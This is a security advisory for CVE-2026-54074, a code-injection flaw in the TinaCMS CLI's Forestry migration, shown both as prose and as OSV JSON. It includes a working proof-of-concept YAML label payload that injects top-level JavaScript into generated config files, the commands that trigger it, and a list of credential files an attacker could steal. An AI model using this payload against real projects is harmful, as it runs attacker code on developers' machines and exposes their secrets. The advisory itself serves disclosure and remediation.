CVE-2026-54074: @tinacms/cli Remote Code Execution Vulnerability

HIGH
Advisory Identifier: GHSA-4936-9hrh-qqpw
CVSS 7.8
CWE-94
Published
Advisory Summary

CVE-2026-54074 is a HIGH (CVSS 7.8) remote code execution vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting @tinacms/cli libraries in the npm ecosystem. The issue involves remote code execution in @tinacms/cli via forestry migration — unsanitised __tina_internal__ marker in user-controlled yaml labels. Remediation is available by upgrading affected packages to version 2.4.3.

CVE-2026-54074 at a Glance

CVE Identifier CVE-2026-54074
GHSA Identifier GHSA-4936-9hrh-qqpw
Severity HIGH
CVSS v3.1 Base Score 7.8
CWE Classification CWE-94: Improper Control of Generation of Code ('Code Injection')
Affected Product @tinacms/cli
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-54074

To remediate this vulnerability, upgrade all affected @tinacms/cli dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@tinacms/cli fixed: 2.4.3
npm install @tinacms/cli@2.4.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @tinacms/cli

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-54074, inspect your project dependencies using npm:

npm ls @tinacms/cli

Analyze the terminal output to locate any version of @tinacms/cli in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.4.3), your application is affected.

Note: The npm ls @tinacms/cli command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In @tinacms/cli, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Description ### Summary `@tinacms/cli` contains a Remote Code Execution vulnerability in its Forestry-to-Tina migration command. The internal helper `addVariablesToCode` unquotes any value matching the marker `"__TINA_INTERNAL__:::(.*?):::"` inside the stringified collection JSON. User-supplied `label` and `name` fields from `.forestry/**/*.yml` are placed into that JSON without any sanitisation. An attacker who controls a Forestry-style project can therefore inject arbitrary JavaScript into the generated `tina/templates.{ts,js}` file. The injected code is written at module top level, so it executes **the moment the developer runs `tinacms dev` or `tinacms build`**, with the developer's privileges. ### Details **Vulnerable code path:** 1. `packages/@tinacms/cli/src/cmds/forestry-migrate/util/index.ts` — `transformForestryFieldsToTinaFields()` writes `forestryField.label` (and `.name`) straight into TinaField objects (no sanitisation). 2. `packages/@tinacms/cli/src/cmds/forestry-migrate/util/codeTransformer.ts`, lines 16-22 — the regex-based unquoter: ```ts export const addVariablesToCode = (codeWithTinaPrefix: string) => { const code = codeWithTinaPrefix.replace( /"__TINA_INTERNAL__:::(.*?):::"/g, '$1' ); return { code }; }; ``` 3. `codeTransformer.ts` lines 80-88 — the field array is `JSON.stringify`-ed and then handed to `addVariablesToCode`. Because `JSON.stringify` does **not** escape single quotes or backticks, an attacker who avoids `"` in the payload survives the JSON pass intact. 4. `packages/@tinacms/cli/src/cmds/init/apply.ts` lines 110-116 — the resulting string is written to `tina/templates.{ts,js}` and imported by the generated `tina/config.{ts,js}`, which `tinacms dev` evaluates. **Why it executes immediately:** the regex unquoting allows the attacker's payload to *close the surrounding object/array and the enclosing `xxxFields()` function*, drop a top-level IIFE, and then start a dummy function that swallows the trailing JSON. The IIFE is at module scope, so it runs the instant `tina/config.ts` imports `./templates`. ### PoC End-to-end verified against `tinacms` and `@tinacms/cli@2.3.1`, built from commit `ae1ab5d0f` of `tinacms/tinacms` on Windows 11 + Node.js v24 (behaviour is identical on Node 22). **Step 1 — attacker prepares a malicious Forestry project** `.forestry/settings.yml` ```yaml --- new_page_extension: md auto_deploy: false admin_path: '' webhook_url: '' sections: - type: directory path: content/posts label: Posts create: all match: "**/*.md" templates: - rce ``` `.forestry/front_matter/templates/rce.yml` ```yaml --- label: rce_template fields: - name: title type: text label: "__TINA_INTERNAL__:::1}] }; (function(){ const fs=require('fs'); const os=require('os'); fs.writeFileSync(require('path').join(os.tmpdir(),'PWNED_PROOF.txt'), 'RCE triggered on ' + os.hostname() + ' at ' + new Date().toISOString()); console.log('=== RCE SUCCESSFUL ==='); })(); function _ignore_(){ return [{x:1:::" ``` > **Note on payload encoding.** The original disclosure draft used double > quotes inside the payload (`console.log("RCE")`). `JSON.stringify` escapes > those to `\"`, which makes the generated TypeScript syntactically invalid > and is rejected by Prettier before the file is written. Using single > quotes or backticks for the inner string literals is required for the > exploit to succeed. **Step 2 — victim runs the standard onboarding flow** ```bash git clone <attacker repo> cd <attacker repo> npx tinacms init # accepts the "migrate Forestry templates?" prompt npx tinacms dev # OR: npx tinacms build ``` **Step 3 — generated `tina/templates.ts` (verbatim, from a clean run)** ```ts import type { TinaField } from "tinacms"; export function rce_templateFields() { return [{ type: "string", name: "title", label: 1 }]; } (function () { // <-- TOP-LEVEL IIFE const fs = require("fs"); const os = require("os"); fs.writeFileSync( require("path").join(os.tmpdir(), "PWNED_PROOF.txt"), "RCE triggered on " + os.hostname() + " at " + new Date().toISOString() ); console.log("=== RCE SUCCESSFUL ==="); })(); function _ignore_() { return [{ x: 1 }] as TinaField[]; } ``` **Step 4 — observed result** ``` $ npx tinacms dev --noTelemetry --no-server 🦙 TinaCMS Dev Server is initializing... === RCE SUCCESSFUL === Cannot read properties of undefined (reading 'publicFolder') $ cat "$TEMP/PWNED_PROOF.txt" RCE triggered on <hostname> at 2026-05-23T06:57:29.800Z ``` The `=== RCE SUCCESSFUL ===` line is printed **before** the dev server fails on the (intentionally minimal) config, proving the malicious code executed during config evaluation. ### Impact * **Class:** Remote Code Execution (code injection into a generated source file that is automatically executed by the dev server/build). * **Attack vector:** Any developer who runs `tinacms init` on a Forestry project they did not author (e.g. a starter template, a community fork, a "convert my site to Tina" service, an evaluation of a third-party CMS migration) and then runs `tinacms dev` or `tinacms build`. * **Privileges obtained:** Full execution under the developer's user account. Practical consequences include: * Exfiltration of environment variables, `.env` files, SSH keys, `~/.aws/credentials`, `~/.npmrc` tokens, `~/.config/gh/hosts.yml`. * Source-code modification (planting backdoors before the developer's next commit / publish). * Supply-chain abuse via the developer's `npm publish` and `git push` credentials. * Persistence via shell rc files or scheduled tasks. * **Authentication:** None required from the attacker. * **User interaction:** Required — victim must run the migration and then the dev/build command. The migration prompt defaults to "yes". ## Suggested Remediation Either fix is sufficient; **Option B is preferred** because it is structurally impossible to bypass and does not silently drop user content. ### Option A — sanitise user-controlled strings (the disclosure draft's proposal) ```ts // packages/@tinacms/cli/src/cmds/forestry-migrate/util/index.ts const sanitizeString = (str: unknown): unknown => typeof str === 'string' ? str.replace(/__TINA_INTERNAL__:::/g, '') : str; ``` Apply to **every** user-controlled string that flows into a TinaField object — at minimum `forestryField.label`, `forestryField.name`, `forestryField.template`, `forestryField.config.options[*]`, `forestryField.config.source.section`, and the equivalents on nested `fields`/`template_types` recursive paths. ### Option B — change the marker to a sequence that cannot survive `JSON.stringify` of user data ```ts // codeTransformer.ts const MARKER_OPEN = '__TINA_INTERNAL__'; const MARKER_CLOSE = '/__TINA_INTERNAL__'; export const addVariablesToCode = (s: string) => ({ code: s.replace( new RegExp(`"${MARKER_OPEN}(.*?)${MARKER_CLOSE}"`, 'g'), '$1' ), }); ``` `JSON.stringify` escapes `` to the six-character sequence ``, so any literal control character supplied via YAML can never reconstruct the marker. The internal callers (`makeFieldsWithInternalCode`) keep emitting real `` bytes, so the legitimate flow continues to work and no user content is silently mutated. ### Defence-in-depth Regardless of which option ships, the migration code should also: * Reject `forestryField.label` / `.name` that contain newlines or NUL bytes (Forestry never produced them). * Wrap the eventual `prettier.format(...)` call so that if formatting fails the build aborts (today an exception is propagated, which is good — keep it that way). --- ## Credit Reported by **AnGrY-Althaf** (`angry.althaf@gmail.com`). End-to-end PoC executed locally against `tinacms@2.3.1` / `@tinacms/cli@2.3.1` built from commit `ae1ab5d0f` of `https://github.com/tinacms/tinacms`.

CVE-2026-54074 Affected @tinacms/cli Versions

1 component(s)
Fixed Versions:
2.4.3
Product / Package Ecosystem Affected Versions Fixed Version
@tinacms/cli
npm
< 2.4.3
2.4.3

References

Frequently Asked Questions

What is CVE-2026-54074?
CVE-2026-54074 is a security vulnerability in @tinacms/cli involving Remote Code Execution in @tinacms/cli via Forestry migration — unsanitised __TINA_INTERNAL__ marker in user-controlled YAML labels under CWE-94: Improper Control of Generation of Code ('Code Injection').
Which @tinacms/cli versions are affected?
Affected versions include releases prior to 2.4.3 across affected packages: @tinacms/cli.
What version fixes CVE-2026-54074?
Upgrading to 2.4.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @tinacms/cli affected?
Yes, @tinacms/cli is affected in releases prior to 2.4.3. Upgrade your dependency to 2.4.3 or later.
What is the CVSS score of CVE-2026-54074?
CVE-2026-54074 has a CVSS v3.1 base score of 7.8 (HIGH) with vector string CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-54074?
CVE-2026-54074 is classified under CWE-94: Improper Control of Generation of Code ('Code Injection') (The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.).
How can I check npm dependencies for CVE-2026-54074?
Run the dependency tree command: 'npm ls @tinacms/cli'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4936-9hrh-qqpw",
  "modified" : "2026-06-19T21:15:16Z",
  "published" : "2026-06-19T21:15:16Z",
  "aliases" : [ "CVE-2026-54074" ],
  "summary" : "@tinacms/cli: Remote Code Execution in @tinacms/cli via Forestry migration — unsanitised __TINA_INTERNAL__ marker in user-controlled YAML labels",
  "details" : "## Description\n\n### Summary\n\n`@tinacms/cli` contains a Remote Code Execution vulnerability in its\nForestry-to-Tina migration command. The internal helper `addVariablesToCode`\nunquotes any value matching the marker `\"__TINA_INTERNAL__:::(.*?):::\"`\ninside the stringified collection JSON. User-supplied `label` and `name`\nfields from `.forestry/**/*.yml` are placed into that JSON without any\nsanitisation. An attacker who controls a Forestry-style project can therefore\ninject arbitrary JavaScript into the generated `tina/templates.{ts,js}`\nfile. The injected code is written at module top level, so it executes\n**the moment the developer runs `tinacms dev` or `tinacms build`**, with the\ndeveloper's privileges.\n\n### Details\n\n**Vulnerable code path:**\n\n1. `packages/@tinacms/cli/src/cmds/forestry-migrate/util/index.ts`\n   — `transformForestryFieldsToTinaFields()` writes `forestryField.label`\n   (and `.name`) straight into TinaField objects (no sanitisation).\n2. `packages/@tinacms/cli/src/cmds/forestry-migrate/util/codeTransformer.ts`,\n   lines 16-22 — the regex-based unquoter:\n\n   ```ts\n   export const addVariablesToCode = (codeWithTinaPrefix: string) => {\n     const code = codeWithTinaPrefix.replace(\n       /\"__TINA_INTERNAL__:::(.*?):::\"/g,\n       '$1'\n     );\n     return { code };\n   };\n   ```\n\n3. `codeTransformer.ts` lines 80-88 — the field array is\n   `JSON.stringify`-ed and then handed to `addVariablesToCode`. Because\n   `JSON.stringify` does **not** escape single quotes or backticks, an\n   attacker who avoids `\"` in the payload survives the JSON pass intact.\n4. `packages/@tinacms/cli/src/cmds/init/apply.ts` lines 110-116 — the\n   resulting string is written to `tina/templates.{ts,js}` and imported by\n   the generated `tina/config.{ts,js}`, which `tinacms dev` evaluates.\n\n**Why it executes immediately:** the regex unquoting allows the attacker's\npayload to *close the surrounding object/array and the enclosing\n`xxxFields()` function*, drop a top-level IIFE, and then start a dummy\nfunction that swallows the trailing JSON. The IIFE is at module scope,\nso it runs the instant `tina/config.ts` imports `./templates`.\n\n### PoC\n\nEnd-to-end verified against `tinacms` and `@tinacms/cli@2.3.1`, built from\ncommit `ae1ab5d0f` of `tinacms/tinacms` on Windows 11 + Node.js v24\n(behaviour is identical on Node 22).\n\n**Step 1 — attacker prepares a malicious Forestry project**\n\n`.forestry/settings.yml`\n\n```yaml\n---\nnew_page_extension: md\nauto_deploy: false\nadmin_path: ''\nwebhook_url: ''\nsections:\n- type: directory\n  path: content/posts\n  label: Posts\n  create: all\n  match: \"**/*.md\"\n  templates:\n  - rce\n```\n\n`.forestry/front_matter/templates/rce.yml`\n\n```yaml\n---\nlabel: rce_template\nfields:\n- name: title\n  type: text\n  label: \"__TINA_INTERNAL__:::1}] }; (function(){ const fs=require('fs'); const os=require('os'); fs.writeFileSync(require('path').join(os.tmpdir(),'PWNED_PROOF.txt'), 'RCE triggered on ' + os.hostname() + ' at ' + new Date().toISOString()); console.log('=== RCE SUCCESSFUL ==='); })(); function _ignore_(){ return [{x:1:::\"\n```\n\n> **Note on payload encoding.** The original disclosure draft used double\n> quotes inside the payload (`console.log(\"RCE\")`). `JSON.stringify` escapes\n> those to `\\\"`, which makes the generated TypeScript syntactically invalid\n> and is rejected by Prettier before the file is written. Using single\n> quotes or backticks for the inner string literals is required for the\n> exploit to succeed.\n\n**Step 2 — victim runs the standard onboarding flow**\n\n```bash\ngit clone <attacker repo>\ncd <attacker repo>\nnpx tinacms init       # accepts the \"migrate Forestry templates?\" prompt\nnpx tinacms dev        # OR: npx tinacms build\n```\n\n**Step 3 — generated `tina/templates.ts` (verbatim, from a clean run)**\n\n```ts\nimport type { TinaField } from \"tinacms\";\nexport function rce_templateFields() {\n  return [{ type: \"string\", name: \"title\", label: 1 }];\n}\n(function () {                                          // <-- TOP-LEVEL IIFE\n  const fs = require(\"fs\");\n  const os = require(\"os\");\n  fs.writeFileSync(\n    require(\"path\").join(os.tmpdir(), \"PWNED_PROOF.txt\"),\n    \"RCE triggered on \" + os.hostname() + \" at \" + new Date().toISOString()\n  );\n  console.log(\"=== RCE SUCCESSFUL ===\");\n})();\nfunction _ignore_() {\n  return [{ x: 1 }] as TinaField[];\n}\n```\n\n**Step 4 — observed result**\n\n```\n$ npx tinacms dev --noTelemetry --no-server\n🦙 TinaCMS Dev Server is initializing...\n=== RCE SUCCESSFUL ===\nCannot read properties of undefined (reading 'publicFolder')\n\n$ cat \"$TEMP/PWNED_PROOF.txt\"\nRCE triggered on <hostname> at 2026-05-23T06:57:29.800Z\n```\n\nThe `=== RCE SUCCESSFUL ===` line is printed **before** the dev server\nfails on the (intentionally minimal) config, proving the malicious code\nexecuted during config evaluation.\n\n### Impact\n\n* **Class:** Remote Code Execution (code injection into a generated source\n  file that is automatically executed by the dev server/build).\n* **Attack vector:** Any developer who runs `tinacms init` on a Forestry\n  project they did not author (e.g. a starter template, a community fork,\n  a \"convert my site to Tina\" service, an evaluation of a third-party\n  CMS migration) and then runs `tinacms dev` or `tinacms build`.\n* **Privileges obtained:** Full execution under the developer's user\n  account. Practical consequences include:\n  * Exfiltration of environment variables, `.env` files, SSH keys,\n    `~/.aws/credentials`, `~/.npmrc` tokens, `~/.config/gh/hosts.yml`.\n  * Source-code modification (planting backdoors before the developer's\n    next commit / publish).\n  * Supply-chain abuse via the developer's `npm publish` and `git push`\n    credentials.\n  * Persistence via shell rc files or scheduled tasks.\n* **Authentication:** None required from the attacker.\n* **User interaction:** Required — victim must run the migration and then\n  the dev/build command. The migration prompt defaults to \"yes\".\n\n\n## Suggested Remediation\n\nEither fix is sufficient; **Option B is preferred** because it is\nstructurally impossible to bypass and does not silently drop user content.\n\n### Option A — sanitise user-controlled strings (the disclosure draft's proposal)\n\n```ts\n// packages/@tinacms/cli/src/cmds/forestry-migrate/util/index.ts\nconst sanitizeString = (str: unknown): unknown =>\n  typeof str === 'string'\n    ? str.replace(/__TINA_INTERNAL__:::/g, '')\n    : str;\n```\n\nApply to **every** user-controlled string that flows into a TinaField\nobject — at minimum `forestryField.label`, `forestryField.name`,\n`forestryField.template`, `forestryField.config.options[*]`,\n`forestryField.config.source.section`, and the equivalents on nested\n`fields`/`template_types` recursive paths.\n\n### Option B — change the marker to a sequence that cannot survive `JSON.stringify` of user data\n\n```ts\n// codeTransformer.ts\nconst MARKER_OPEN  = '\u0001__TINA_INTERNAL__\u0001';\nconst MARKER_CLOSE = '\u0001/__TINA_INTERNAL__\u0001';\n\nexport const addVariablesToCode = (s: string) => ({\n  code: s.replace(\n    new RegExp(`\"${MARKER_OPEN}(.*?)${MARKER_CLOSE}\"`, 'g'),\n    '$1'\n  ),\n});\n```\n\n`JSON.stringify` escapes `\u0001` to the six-character sequence\n`\u0001`, so any literal control character supplied via YAML can never\nreconstruct the marker. The internal callers (`makeFieldsWithInternalCode`)\nkeep emitting real `\u0001` bytes, so the legitimate flow continues to\nwork and no user content is silently mutated.\n\n### Defence-in-depth\n\nRegardless of which option ships, the migration code should also:\n\n* Reject `forestryField.label` / `.name` that contain newlines or NUL\n  bytes (Forestry never produced them).\n* Wrap the eventual `prettier.format(...)` call so that if formatting\n  fails the build aborts (today an exception is propagated, which is\n  good — keep it that way).\n\n---\n\n## Credit\n\nReported by **AnGrY-Althaf** (`angry.althaf@gmail.com`).\n\nEnd-to-end PoC executed locally against\n`tinacms@2.3.1` / `@tinacms/cli@2.3.1` built from commit `ae1ab5d0f`\nof `https://github.com/tinacms/tinacms`.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@tinacms/cli"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.4.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/tinacms/tinacms/security/advisories/GHSA-4936-9hrh-qqpw"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/tinacms/tinacms/pull/7006"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/tinacms/tinacms/commit/77665ae73dd4f9563d339535e76fa811a8abdfbb"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/tinacms/tinacms"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/tinacms/tinacms/releases/tag/@tinacms/cli@2.4.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-94" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-19T21:15:16Z",
    "nvd_published_at" : null
  }
}